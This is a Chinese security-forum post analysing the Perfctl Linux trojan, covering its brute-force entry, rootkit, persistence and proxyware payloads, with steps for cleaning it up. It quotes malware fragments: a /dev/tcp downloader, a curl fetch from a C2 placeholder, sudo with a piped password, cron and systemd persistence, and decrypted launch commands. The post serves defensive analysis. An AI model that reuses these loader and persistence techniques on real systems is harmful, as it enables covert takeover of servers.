跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Perfctl 木马分析


Xiao7

推荐的帖子

0x00 结论

0、中招后,会中rootkit,会做权限维持,会自身隐藏等
1、中招后,没有重启过的机器,清除需杀掉所有中招后再启动的进程
2、中招后,重启过的机器,在清除后,需要立马重启
3、需要下载busybox来做清除
4、目前看到的行为是植入各种流量代理,用于挂机赚收益

0x01 来源

看到数台有类似高危命令的机器:

bash -c export VEI=s_{IP};p='IyMhL2Jpbi9iYXNo...

发现初次在执行该命令前,都存在异常登陆,且执行的命令中包含受害者IP、密码等信息,故推断为爆破后植入。

0x02 木马分析

一、安装脚本分析

脚本主要功能:

0、判断是否root如果不是root则sudo到root后执行,用的是爆破成功的密码:

 if [ root != 'root' ] && command -v sudo >/dev/null && echo {password} |sudo -S -l|grep -q ALL;
 VEI=s_{IP} 对应被爆破成功的IP

1、shell实现了一个curl

function __curl() {
 read proto server path <<<$(echo ${1//// })
 DOC=/${path// //}
 HOST=${server//:*}
 PORT=${server//*:}
 [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

 exec 3<>/dev/tcp/${HOST}/$PORT
 echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnUser-Agent: curl/7.74.9rnrn" >&3
 (while read line; do
   [[ "$line" == $'r' ]] && break
  done && cat) <&3
  exec 3>&-
}

2、只在x86_64上运行

if ! uname -m|grep -q "x86_64";
then
    exit
fi

3、创建木马运行目录

mkdir /tmp/.perf.c 2>/dev/null
mkdir /tmp/.xdiag 2>/dev/null

4、判断是否已安装/在运行

标识为:

端口监听:cat /proc/net/tcp|grep -e 44870 -e 63582 -e ':f85e' -e ':af46' -i -q
目录存在:if [ -f /tmp/.xdiag/p ] && [ -e /proc/$(cat /tmp/.xdiag/p) ];

5、未安装则下载安装

curl -A"curl/7.74.9" -s -o /tmp/httpd http://{C2HOST}/checklist.php

执行:

KRI=kr httpd >/dev/null 2>&1 &

二、木马程序分析

行为在vt的沙箱里可以看到一些行为分析:
https://www.virustotal.com/gui/file/22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13/behavior

样本MD5:
656e22c65bf7c04d87b5afbe52b8d800 /root/.config/cron/perfcc

直接运行主程序后,看到的行为有:

1、释放文件

/tmp/.xdiag/int/.e.lock   # 主进程pid文件
/tmp/.apid   # 子进程pid 文件
/tmp/.xdiag/  # 主程序运行数据文件,里面有log、tor等相关数据
/bin/.local/bin/*  # 常见命令替换及隐藏
/bin/perfcc # 用于服务拉起、计划任务拉起、命令拉起
/root/.config/cron/perfcc # 用于计划任务拉起
/lib/libgcwrap.so  # 用于hook
# 计划任务
/etc/cron.d/perfclean
/etc/cron.hourly/perfclean
/etc/cron.daily/perfclean
/var/spool/cron/crontabs/root
# 服务
/etc/systemd/system/kmodaudit.service
/etc/systemd/system/kmodaudit.timer
/lib/libpprocps.so  # 主程序 用于.so 恢复控制
/lib/libfsnldev.so  # 主程序 用于.so 恢复控制

2、隐藏及维持

a、伪造自身为系统常驻进程名

会把自身复制到/tmp/.perf.c/,再从当前的进程列表中,找到一个服务进程,并复制自身为服务进程文件名。用于混淆视听,这也是为啥/tmp/.perf.c/目录中通常有同样md5的两个2进制文件。

之后再次运行该进程:

子进程的pid存放在:/tmp/.apid
每次启动perfctl后,都会更新pid,并且,重命名/tmp/.perf.c/中的文件,通常为常见服务文件名,用于混淆视听。

对应的要伪造的服务进程,会从当前进程列表中取。

重新拉起后,对应更新pid和文件名。

b、替换常用命令

该程序会修改 /etc/profile,增加对应的环境变量:

export PATH=/bin/.local/bin:$PATH

/bin/.local/bin中,主要是替换常见用于排查的命令:

 

主要手法是增加grep -v隐藏和木马有关的信息,如运行crontab

c、权限维持

1、修改~/.profile
增加/bin/perfcc

test -x /bin/perfcc && FPROF=p /bin/perfcc

2、添加计划任务

# 添加计划任务文件:
-rw-r--r-- 1 root root   22 Aug 20 19:41 /etc/cron.d/perfclean
-rwxr-xr-x 1 root root   17 Aug 20 19:41 /etc/cron.hourly/perfclean
-rwxr-xr-x 1 root root   17 Aug 20 19:41 /etc/cron.daily/perfclean

# 添加计划任务
/var/spool/cron/crontabs/root
# crontab -l
11 * * * * /root/.config/cron/perfcc

3、创建定时服务

# cat /etc/systemd/system/kmodaudit.service
[Unit]
Description=Kernel module perf audit and reporting
Wants=kmodaudit.timer
[Service]
Type=oneshot
RemainAfterExit=yes
Environment=FSYSD=sd
ExecStart=/bin/perfcc
StandardOutput=null
StandardError=null
TimeoutStopSec=1s
TimeoutStartSec=1y
[Install]
WantedBy=multi-user.target

# cat /etc/systemd/system/kmodaudit.timer
[Unit]
Description=Kernel module perf audit and reporting
Requires=kmodaudit.service
[Timer]
Unit=kmodaudit.service
OnCalendar=*-*-* 00,02,04,06,08,10,12,14,16,18,20,22:45:00
AccuracySec=5m
[Install]
WantedBy=timers.target

三、rootkit分析

/etc/ld.so.preload 中增加 /lib/libgcwrap.so

该文件作用有以下作用:

1、隐藏命令返回与主程序相关内容

 

当重启后,或者,重新ssh登录上去后,效果更佳,因为对应的tty也被hook了,tab补全都无法补全对应文件夹下内容。

2、利用常驻进程维持权限

中招后,会拉起几个正常的常驻服务,并且在其中,注入恶意.so。

如:

root        1647       1  0 11:48 ?        00:00:00 /usr/sbin/cron -f
root        1698       1  0 11:48 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1753       1  0 11:48 ?        00:00:00 /lib/systemd/systemd-journald
root        1757       1  0 11:48 ?        00:00:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal

 

所以,需要把所有已注入的进程全部结束,才能完全清除。

3、恢复自身主程序

当检测到自身被清理后(或许没检测,单纯定时跑,或者注入函数被触发).so注入的进程,会重新写一个木马主程序,并把它跑起来,对应,上面所有的行为,再来一遍。

重启后,几乎所有进程都被注入恶意.so

 

完成清理后,又有主程序被拉起来,通过日志看到写 /tmp/javax64 以及拉起来的主进程是:

"argv":"/sbin/init","target":"/tmp/javax64"

也就是说,直接是 pid:1,写入的/tmp/javax64就是主程序。

0x03 libgcwrap.so 分析

hook函数:

 

被hook的函数有35个,覆盖最常规的操作。

对应分析gwrap_init,发现主要通过:tVpVskzzChOsJMKuA 和 zAdkqhLHYfNAebWBSQLe 来做各种操作。
先解密:tVpVskzzChOsJMKuA,这个变量中存放着各种字符串,但都被加密了:

 

解密后,能看到字符串如下

'/proc/self/mountinfo
%f %f %f %s %s
/proc/%d/fd
 /lib/libgcwrap.so
 .xdiag;.perf.c;.dmesg;perfctl;perfcc;libgcwrap.so;ld.so.preload;libfsnldev.so;libpprocps.so;wizlmsh 
/tmp/.xdiag/cp
/var/log/wtmp
 Welcome back, friend.
/dev/tty
/tmp/.xdiag/wtp
 /tmp/javax64
dash
 /dev/shm/.dmesg/pds
 bash
 /tmp/.xdiag/p
 /proc/loadavg
 /proc/
 %s/environ
/proc/%d/environ
/tmp/.xdiag/uid
 /tmp/.xdiag/ua
%s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
/bin/zsh
/tmp/.xdiag/data/tty/%s.%d.%d.%d.%d.txt
LGCEXTR
AAZHDE=1
/proc/%d
serviceroot
 /lib/libfsnldev.so
/bin/bash
 %.2f %.2f %.2f %s %s
/bin/csh
/tmp/wttwe2
 /bin/ksh
/proc
/bin/sh
/run/user/0/bus
 echo 1|cat > /tmp/wttwe2
 /dev/pts/
 /proc/self/fd/%d
/proc/net/tcp6
/dev/shm/libpprocps.so
 /dev/shm/.dmesg/ino
 /proc/
 /proc/net/udp
 /usr/bin/sh
 /tmp/.xdiag/int/ins
 /bin/dash
 /etc/ld.so.preload
%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n
servicelgcroot
/lib
 /proc/%d/exe
/tmp/wttwe
/proc
HISTFILE=/dev/null
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d javax64 >/dev/null 2>&1 &
 /dev/stderr
 /bin/bash
 AAZHDE
 /proc/stat
/tmp/.xdiag/int/.per.s
 /proc/net/unix
LGCTR0-XR
 TERM=xterm
44870;44869;63582;56615;48242;4145
 /dev/shm/libfsnldev.so
 %s %lu %lu %lu %lu %lu %lu %lu %lu %lu %lu\n
%s%lu %lu %lu %lu %lu %lu %lu %lu %lu %lu
PATH=/tmp:$PATH;chmod 777 /tmp/javax64;nohup env AALD=1 AAWTP=%d KRI=kr javax64 >/dev/null 2>&1 &
 /proc/net/tcp
 %.2f %.2f %.2f %s %s\n
 /var/run/utmp
 libgcwrap.so
/tmp/.apid
/proc/
 /tmp/.xdiag/data/pam/%s.log
%f %f %f %s %s\n
/lib/libpprocps.so
touch /tmp/wttwe2

解密后,对应注册函数映射表

然后就开始各种用函数表和字符串表做事情了

就不详细分析了。

根据上面解密后的字符串dict,配合行为能猜到做了些啥:

/lib/libpprocps.so 是主程序,猜测是复制到/tmp/javax64 然后跑起来。
/lib/libfsnldev.so 也是主程序。
/tmp/wttwe2   /tmp/wttwe 这两个文件也在行为中抓到了,不过没来得及看里面是啥。
44870;44869;63582;56615;48242;4145  为启动后,监听的端口。

0x04 植入目的

在清理过程中,看到过它拉起来一大段bash脚本,decode后,详细看了一下脚本大体做了些什么。

首先,能远控应该是肯定的,理论上是可以下发任务的。

脚本中,看到了这些内容:

  _start_bpn ==> bitping
  _start_efm ==> earnfm
  _start_rpk ==> Repocket
  _start_ipr ==> iproyal
  _start_spd ==> SpeedShare
  _start_pra ==> proxyrack
  _start_pst ==> packetstream
  _start_grs ==> 还没实现

补充了一下对应函数安装的东西,看了看,都是些可以把cvm共享出去,作为一些代理,进而盈利的东西。

0x05 清理逻辑

找GPT4写脚本吧,告诉它你要做下面的事情:

 

0、清除 /etc/ld.so.preload 中的 /lib/libgcwrap.so /usr/lib/libgcwrap.so1、读取/tmp/.apid 获取 主进程pid2、读取/tmp/.xdiag/int/.e.lock,获取 子进程pid3、清空crontjob 中内容:11 * * * * /root/.config/cron/perfcc4、清空定时计划脚本:/etc/cron.d/perfclean/etc/cron.hourly/perfclean/etc/cron.daily/perfclean/var/spool/cron/crontabs/root5、停止并删除服务/etc/systemd/system/kmodaudit.service、/etc/systemd/system/kmodaudit.timer6、清除/etc/profile中增加的 export PATH=/bin/.local/bin:$PATH7、清除~/.profile中增加的 test -x /bin/perfcc && FPROF=p /bin/perfcc8、删除文件及文件夹 ~/.config/cron/ 、/tmp/.perf.c/、/tmp/.xdiag/、/tmp/.apid、/bin/perfcc、/bin/.local/bin/9、把所有删除的文件,再创建一下,然后用chattr +ia锁住

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...